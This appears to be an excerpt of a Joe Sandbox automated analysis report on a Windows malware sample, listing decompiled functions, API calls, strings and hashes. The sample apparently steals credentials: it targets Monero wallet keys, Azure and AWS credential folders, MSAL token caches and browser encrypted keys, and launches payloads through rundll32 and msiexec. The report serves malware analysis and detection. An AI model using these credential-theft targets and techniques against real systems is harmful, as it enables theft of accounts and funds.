Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------$8$H$
API String ID: 874700897-813867249
Opcode ID: 3032a7b42fdbb8209cae139379fd2e81b495fd17982f4786c74a1c4ff5d9b5f8
Instruction ID: b36c1b323e9b6e8553a8308ea89bfe35ed450565af055ad1b42d1911d63fe5fd
Opcode Fuzzy Hash: 3032a7b42fdbb8209cae139379fd2e81b495fd17982f4786c74a1c4ff5d9b5f8
Instruction Fuzzy Hash: 30123E71922258AADB55EBE1DC95FEEB33ABF14700F01419DB10662092EF703E49CF69

Function 006DCEF0 Relevance: 30.4, APIs: 20, Instructions: 375stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 006EA740: lstrcpy.KERNEL32(006F0E17,00000000), ref: 006EA788

Part of subcall function 006EA9B0: lstrlen.KERNEL32(?,00E491C8,?,\Monero\wallet.keys,006F0E17), ref: 006EA9C5
Part of subcall function 006EA9B0: lstrcpy.KERNEL32(00000000), ref: 006EAA04
Part of subcall function 006EA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006EAA12

Part of subcall function 006EA8A0: lstrcpy.KERNEL32(?,006F0E17), ref: 006EA905

Part of subcall function 006E8B60: GetSystemTime.KERNEL32(006F0E1A,00E4A900,006F05AE,?,?,006D13F9,?,0000001A,006F0E1A,00000000,?,00E491C8,?,\Monero\wallet.keys,006F0E17), ref: 006E8B86

Part of subcall function 006EA920: lstrcpy.KERNEL32(00000000,?), ref: 006EA972
Part of subcall function 006EA920: lstrcat.KERNEL32(00000000), ref: 006EA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 006DCF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 006DD0C7
RtlAllocateHeap.NTDLL(00000000), ref: 006DD0CE
lstrcat.KERNEL32(?,00000000), ref: 006DD208
lstrcat.KERNEL32(?,006F1478), ref: 006DD217
lstrcat.KERNEL32(?,00000000), ref: 006DD22A
lstrcat.KERNEL32(?,006F147C), ref: 006DD239
lstrcat.KERNEL32(?,00000000), ref: 006DD24C
lstrcat.KERNEL32(?,006F1480), ref: 006DD25B
lstrcat.KERNEL32(?,00000000), ref: 006DD26E
lstrcat.KERNEL32(?,006F1484), ref: 006DD27D
lstrcat.KERNEL32(?,00000000), ref: 006DD290
lstrcat.KERNEL32(?,006F1488), ref: 006DD29F
lstrcat.KERNEL32(?,00000000), ref: 006DD2B2
lstrcat.KERNEL32(?,006F148C), ref: 006DD2C1
lstrcat.KERNEL32(?,00000000), ref: 006DD2D4
lstrcat.KERNEL32(?,006F1490), ref: 006DD2E3

Part of subcall function 006EA820: lstrlen.KERNEL32(006D4F05,?,?,006D4F05,006F0DDE), ref: 006EA82B
Part of subcall function 006EA820: lstrcpy.KERNEL32(006F0DDE,00000000), ref: 006EA885

lstrlen.KERNEL32(?), ref: 006DD32A
lstrlen.KERNEL32(?), ref: 006DD339

Part of subcall function 006EAA70: StrCmpCA.SHLWAPI(00E48FE8,006DA7A7,?,006DA7A7,00E48FE8), ref: 006EAA8F

DeleteFileA.KERNEL32(00000000), ref: 006DD3B4

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 7cefed35a263717c39aa19ffbbf244d255e62324a7f3396f8a33acb87d835e5d
Instruction ID: 1d2cd69bbd56a4e569281bb40eed7f6b104318f3246c29ddcd8372107f3a2b4f
Opcode Fuzzy Hash: 7cefed35a263717c39aa19ffbbf244d255e62324a7f3396f8a33acb87d835e5d
Instruction Fuzzy Hash: 20E16E71912248ABDB44EBE1DD96EEE737ABF14300F01415CF106A7092EE34BE06DB66

Function 006E8320 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 006EA740: lstrcpy.KERNEL32(006F0E17,00000000), ref: 006EA788

RegOpenKeyExA.ADVAPI32(00000000,00E4B688,00000000,00020019,00000000,006F05B6), ref: 006E83A4
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 006E8426
wsprintfA.USER32 ref: 006E8459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 006E847B
RegCloseKey.ADVAPI32(00000000), ref: 006E848C
RegCloseKey.ADVAPI32(00000000), ref: 006E8499

Part of subcall function 006EA7A0: lstrcpy.KERNEL32(?,00000000), ref: 006EA7E6

Strings

?, xrefs: 006E837A
H, xrefs: 006E858C
- , xrefs: 006E85A3
%s\%s, xrefs: 006E844D

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?$H
API String ID: 3246050789-3047849134
Opcode ID: eeb72b2acea62cb847b578be2079e711f605ab78833ad47f294f5a291c16571f
Instruction ID: 0c1c3e6fd7ca37cf15273943c8e5c8c2b8be69563a8ad5b19438350e77e9b72a
Opcode Fuzzy Hash: eeb72b2acea62cb847b578be2079e711f605ab78833ad47f294f5a291c16571f
Instruction Fuzzy Hash: 39813D719122589FEB64DB91CC81FEAB7BABF08700F0082D9E109A6191DF716F85CF95

Function 006DC990 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 006EA740: lstrcpy.KERNEL32(006F0E17,00000000), ref: 006EA788

Part of subcall function 006EA920: lstrcpy.KERNEL32(00000000,?), ref: 006EA972
Part of subcall function 006EA920: lstrcat.KERNEL32(00000000), ref: 006EA982

Part of subcall function 006EA8A0: lstrcpy.KERNEL32(?,006F0E17), ref: 006EA905

Part of subcall function 006EA9B0: lstrlen.KERNEL32(?,00E491C8,?,\Monero\wallet.keys,006F0E17), ref: 006EA9C5
Part of subcall function 006EA9B0: lstrcpy.KERNEL32(00000000), ref: 006EAA04
Part of subcall function 006EA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006EAA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,00E4CE88,00000000,?,006F144C,00000000,?,?), ref: 006DCA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 006DCA89
GetFileSize.KERNEL32(00000000,00000000), ref: 006DCA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 006DCAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 006DCAD9
StrStrA.SHLWAPI(?,00E4CEA0,006F0B52), ref: 006DCAF7
StrStrA.SHLWAPI(00000000,00E4D008), ref: 006DCB1E
StrStrA.SHLWAPI(?,00E4DBA0,00000000,?,006F1458,00000000,?,00000000,00000000,?,00E48FC8,00000000,?,006F1454,00000000,?), ref: 006DCCA2
StrStrA.SHLWAPI(00000000,00E4DCA0), ref: 006DCCB9

Part of subcall function 006DC820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 006DC871
Part of subcall function 006DC820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 006DC87C

StrStrA.SHLWAPI(?,00E4DCA0,00000000,?,006F145C,00000000,?,00000000,00E49078), ref: 006DCD5A
StrStrA.SHLWAPI(00000000,00E492A8), ref: 006DCD71

Part of subcall function 006DC820: lstrcat.KERNEL32(?,006F0B46), ref: 006DC943
Part of subcall function 006DC820: lstrcat.KERNEL32(?,006F0B47), ref: 006DC957
Part of subcall function 006DC820: lstrcat.KERNEL32(?,006F0B4E), ref: 006DC978

lstrlen.KERNEL32(00000000), ref: 006DCE44
CloseHandle.KERNEL32(00000000), ref: 006DCE9C

Strings

, xrefs: 006DC9C6

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeString
String ID:
API String ID: 3744635739-3916222277
Opcode ID: f84760af48bbd3fb1defd4bf04e0ff6a37d87af3c62c6bcd7a15f7dd5ab1fe06
Instruction ID: 06c4546cab1ef1f18c94276f1f1b8a3062423a0f92b99a68f138d2481f5d1cf0
Opcode Fuzzy Hash: f84760af48bbd3fb1defd4bf04e0ff6a37d87af3c62c6bcd7a15f7dd5ab1fe06
Instruction Fuzzy Hash: AFE13B71D12248ABDB54EBE1DC91FEEB77AAF14300F01415DF10666192EF307A4ACB6A

Function 006E12D0 Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 310COMMON

Download Yara Rule

Strings

P, xrefs: 006E1560
, xrefs: 006E13FA

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID: P$
API String ID: 2001356338-959893791
Opcode ID: b26a6bc4e6654b1bf509ff048edd15d4c049531624285db7ca2fa66b2a34e400
Instruction ID: 7cd0f257fb2ef81cf716c120016a59266ea3e9d8f7e77ee8aa5867f0ee4c694a
Opcode Fuzzy Hash: b26a6bc4e6654b1bf509ff048edd15d4c049531624285db7ca2fa66b2a34e400
Instruction Fuzzy Hash: 8FC1C5B59023489BCB54EF61DC89FEE737ABF54304F00449CE50A67142EA30AE85DFA5

Function 006E4D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 006E8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 006E8E0B

lstrcat.KERNEL32(?,00000000), ref: 006E4DB0
lstrcat.KERNEL32(?,\.azure\), ref: 006E4DCD

Part of subcall function 006E4910: wsprintfA.USER32 ref: 006E492C
Part of subcall function 006E4910: FindFirstFileA.KERNEL32(?,?), ref: 006E4943

lstrcat.KERNEL32(?,00000000), ref: 006E4E3C
lstrcat.KERNEL32(?,\.aws\), ref: 006E4E59

Part of subcall function 006E4910: StrCmpCA.SHLWAPI(?,006F0FDC), ref: 006E4971
Part of subcall function 006E4910: StrCmpCA.SHLWAPI(?,006F0FE0), ref: 006E4987
Part of subcall function 006E4910: FindNextFileA.KERNEL32(000000FF,?), ref: 006E4B7D
Part of subcall function 006E4910: FindClose.KERNEL32(000000FF), ref: 006E4B92

lstrcat.KERNEL32(?,00000000), ref: 006E4EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 006E4EE5

Part of subcall function 006E4910: wsprintfA.USER32 ref: 006E49B0
Part of subcall function 006E4910: StrCmpCA.SHLWAPI(?,006F08D2), ref: 006E49C5
Part of subcall function 006E4910: wsprintfA.USER32 ref: 006E49E2
Part of subcall function 006E4910: PathMatchSpecA.SHLWAPI(?,?), ref: 006E4A1E
Part of subcall function 006E4910: lstrcat.KERNEL32(?,00E4EA08), ref: 006E4A4A
Part of subcall function 006E4910: lstrcat.KERNEL32(?,006F0FF8), ref: 006E4A5C
Part of subcall function 006E4910: lstrcat.KERNEL32(?,?), ref: 006E4A70
Part of subcall function 006E4910: lstrcat.KERNEL32(?,006F0FFC), ref: 006E4A82
Part of subcall function 006E4910: lstrcat.KERNEL32(?,?), ref: 006E4A96
Part of subcall function 006E4910: CopyFileA.KERNEL32(?,?,00000001), ref: 006E4AAC
Part of subcall function 006E4910: DeleteFileA.KERNEL32(?), ref: 006E4B31

Strings

*.*, xrefs: 006E4E64
\.azure\, xrefs: 006E4DC1
*.*, xrefs: 006E4DD8
Azure\.azure, xrefs: 006E4DD3
\.IdentityService\, xrefs: 006E4ED9
Azure\.aws, xrefs: 006E4E5F
Azure\.IdentityService, xrefs: 006E4EEB
msal.cache, xrefs: 006E4EF0
\.aws\, xrefs: 006E4E4D

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: 3e2e3470007de75603556340ada65818eca8e772ad74b6250c7a94e55ed72c33
Instruction ID: b3dda6b7bc446da6a7c9e1ef926ded793b3c0ab959d0c4dd16454bc92d45a06e
Opcode Fuzzy Hash: 3e2e3470007de75603556340ada65818eca8e772ad74b6250c7a94e55ed72c33
Instruction Fuzzy Hash: F441A5B9A5130867D750F7B0EC47FED733AAB25704F0044987649661C2EEB46BC9CB92

Function 006E2E30 Relevance: 21.5, APIs: 3, Strings: 9, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 006EA740: lstrcpy.KERNEL32(006F0E17,00000000), ref: 006EA788

ShellExecuteEx.SHELL32(0000003C), ref: 006E31C5
ShellExecuteEx.SHELL32(0000003C), ref: 006E335D
ShellExecuteEx.SHELL32(0000003C), ref: 006E34EA

Strings

<, xrefs: 006E3490
C:\Windows\system32\msiexec.exe, xrefs: 006E34BF
.dll, xrefs: 006E31E5
h, xrefs: 006E3070
C:\Windows\system32\rundll32.exe, xrefs: 006E3332
/i ", xrefs: 006E33E4
.msi, xrefs: 006E3398
/passive, xrefs: 006E345B
"" , xrefs: 006E309A

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe$h
API String ID: 2507796910-1549074242
Opcode ID: bfc44734c2e130df57d9b216652b20d12a3cd12d8948cc393d7e4a89d99d60d6
Instruction ID: 458c41b570c2bb0372457f8d1b9813c2516b66045377a7053f345ac2f2d69ede
Opcode Fuzzy Hash: bfc44734c2e130df57d9b216652b20d12a3cd12d8948cc393d7e4a89d99d60d6
Instruction Fuzzy Hash: 66123F718122489ADB55EBE1DC92FEEB73AAF14300F41415DF50666192EF303B4ACF6A

Function 006E4280 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 006E8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 006E8E0B

lstrcat.KERNEL32(?,00000000), ref: 006E42EC
lstrcat.KERNEL32(?,00E4E038), ref: 006E430B
lstrcat.KERNEL32(?,?), ref: 006E431F
lstrcat.KERNEL32(?,00E4CFF0), ref: 006E4333

Part of subcall function 006EA740: lstrcpy.KERNEL32(006F0E17,00000000), ref: 006EA788

Part of subcall function 006E8D90: GetFileAttributesA.KERNEL32(00000000,?,006D1B54,?,?,006F564C,?,?,006F0E1F), ref: 006E8D9F

Part of subcall function 006D9CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 006D9D39

Part of subcall function 006D99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 006D99EC
Part of subcall function 006D99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 006D9A11
Part of subcall function 006D99C0: LocalAlloc.KERNEL32(00000040,?), ref: 006D9A31
Part of subcall function 006D99C0: ReadFile.KERNEL32(000000FF,?,00000000,006D148F,00000000), ref: 006D9A5A
Part of subcall function 006D99C0: LocalFree.KERNEL32(006D148F), ref: 006D9A90
Part of subcall function 006D99C0: CloseHandle.KERNEL32(000000FF), ref: 006D9A9A

Part of subcall function 006E93C0: GlobalAlloc.KERNEL32(00000000,006E43DD,006E43DD), ref: 006E93D3

StrStrA.SHLWAPI(?,00E4DEA0), ref: 006E43F3
GlobalFree.KERNEL32(?), ref: 006E4512

Part of subcall function 006D9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,Nm,00000000,00000000), ref: 006D9AEF
Part of subcall function 006D9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,006D4EEE,00000000,?), ref: 006D9B01
Part of subcall function 006D9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,Nm,00000000,00000000), ref: 006D9B2A
Part of subcall function 006D9AC0: LocalFree.KERNEL32(?,?,?,?,006D4EEE,00000000,?), ref: 006D9B3F

lstrcat.KERNEL32(?,00000000), ref: 006E44A3
StrCmpCA.SHLWAPI(?,006F08D1), ref: 006E44C0
lstrcat.KERNEL32(00000000,00000000), ref: 006E44D2
lstrcat.KERNEL32(00000000,?), ref: 006E44E5
lstrcat.KERNEL32(00000000,006F0FB8), ref: 006E44F4

Strings

8, xrefs: 006E42FD

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID: 8
API String ID: 3541710228-3897458245
Opcode ID: b2008e7caf9c2b6bd1529388c7f7f2b43645383cd4554585e83de6139ac7af3f
Instruction ID: 784946509632c3c12df3dc433973cf264494647f9fc092aca594bb873a9ec510
Opcode Fuzzy Hash: b2008e7caf9c2b6bd1529388c7f7f2b43645383cd4554585e83de6139ac7af3f
Instruction Fuzzy Hash: 427157B6D11208ABDB54EBF0DC85FEE737AAB48300F00859CF60597181EA74DB45CBA5

Function 006E9010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 006E906C

Strings

image/jpeg, xrefs: 006E9136

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
